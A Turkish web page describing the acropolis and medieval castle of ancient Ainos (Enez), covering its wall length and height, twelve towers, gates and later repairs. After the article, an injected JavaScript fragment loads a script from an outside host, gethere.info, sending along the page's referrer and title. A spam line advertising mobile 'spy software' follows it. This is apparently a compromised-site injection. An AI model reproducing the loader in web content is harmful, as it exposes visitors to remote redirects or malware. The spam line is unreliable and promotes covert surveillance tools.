Akropolis – Kale

 

Antik Ainos kenti miyosen kalkerden oluşmuş üç tepe üzerinde kurulmuştu. Akropolis (bugünkü Orta Çağ Kalesi’nin bulunduğu tepe) güneybatıdaki en yüksek tepe üzerinde yer alıyor.  Ainos antik kenti akropolis ve çevresindeki diğer iki tepe üzerinde şekillendi.(Resim 6)

Ainos, tarih boyunca sürekli yerleşildiğinden yer üstünde antik şehirden günümüze çok az sayıda kalıntı ulaşabilmiştir. Antik şehrin asıl merkezi kısmı bugünkü kalenin doğusu ile güney doğusundaki yükseltiler üzerinde bulunuyordu.  

Kale ( Akropol),   batıda ve güney batıda dik yamaçlarla son bulur. Bugün büyük bir kısmı ayakta duran kalenin duvarları, tepenin doğal yapısına uygun biçimde yapılmıştır. Kale duvarı,  780 m uzunluğunda,  kalınlığı ise bazı yerlerde 3,00 m’ye yaklaşmakta, yüksekliği ise doğu tarafta 25 m’yi bulmaktadır (Resim 7) . Kalenin ne zaman yapıldığı konusu kesin olmamakla birlikte,  Kale içinde yapılan IV numaralı  açmanın batısında yer alan kale duvarının taban seviyesinde,  MÖ 5.yüzyıla ait duvar kalıntısının bulunması, kalenin kuruluş aşamasında sur ile çevrili olduğu, bugünkü kale duvarlarının bunun üzerinde inşa edildiği sonucu ortaya çıkmaktadır. Kale duvarları 6.yüzyılda İmparator Justinianus döneminde kuzeyden gelen akınlara karşı tamir ettirdiğini kaynaklardan öğreniyoruz. Kale duvarları üzerinde, bir yuvarlak, bir altıgen, bir beşgen, diğerleri dörtgen biçimli 12 kule ile desteklenmektedir. Kulelerden dört tanesi iç liman tarafında diğerleri ise, doğu tarafta ve özellikle Fatih Cami’nin (Aya Sofya Kilisesi)  arkasında surların zayıf oldukları yerdedir. Güneybatı tarafında yer alan duvarlar çok iyi korunmuştur ve denizden bakıldığında, fevkalade ihtişamlı bir manzara gösterirler.  Bu özellikten dolayı insan kendini zapt edilmesi çok güç bir deniz şehri veya Ortaçağ şehri karşısında hisseder.    Kaleye, biri doğuda diğeri ise kuzey surlarında yer alan anıtsal iki kapıdan girilmektedir.  Kuzeyde yer alan kapı kalenin batısında yer alan iç limana açılmaktadır. Doğu surlarında yer alan ana kapı kaleyi halk yerleşim bölgelerine  bağlayan tek kapı özelliğini taşımaktadır. Kapı 3.00 m genişliğinde kemerlidir. Dışarıdan yarım daire biçiminde taş örgülü, kemerin iç kısmı ise, Osmanlılar Dönemi’nde tuğla malzeme ile  sivri olarak tamir edildiği anlaşılmaktadır.   Kapının kemer kısmı dış taraftan yanlardaki kapı pervazlarına ahşap lento yerleştirilmiş ve   taşlarla kapatılarak desteklenmiştir. Kapı, sağında ve solunda yer alan iki kule ile korunmaktadır.  Sağdaki dikdörtgen biçimli kule günümüze temel seviyesinde ulaştığından, özgün yapısına uygun biçimde aynı malzeme kullanılarak 4.00 m yüksekliğe kadar restore edilmiştir. Kapının solunda yer alan kule dış taraftan çok köşeli içten yarım daire şeklindedir.  Yaklaşık 25 m yüksekliği olan bu kule bir kaç kez onarım görmesine rağmen özgün yapısını korumaktadır. (Resim 8)

Kule ile kapının yer aldığı duvarın üstünde dendaneler, mazgallar  ve seyirdim yeri günümüze kısmen sağlam ulaşmıştır.   Kuleye çıkışı, duvarın seyirdim seviyesinde açılan kapı sağlıyordu. Doğu Roma İmparatorluğun geç   döneminde,  kuleye dış taraftan bir kapı açılmış ve zindan olarak kullanılmıştır.  Kuleye ve seyirdim yerlerine çıkışı kapının güneyindeki duvara yapışık durumdaki merdivenler sağlıyordu.  İç duvarlar üzerinde yer yer hatıl yuvaları, dolap olarak kullanılan  kör pencereler  ve çatılara ait  izler görülmektedir.

 

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);The most popular 2017 spy software applications for the mobile phones.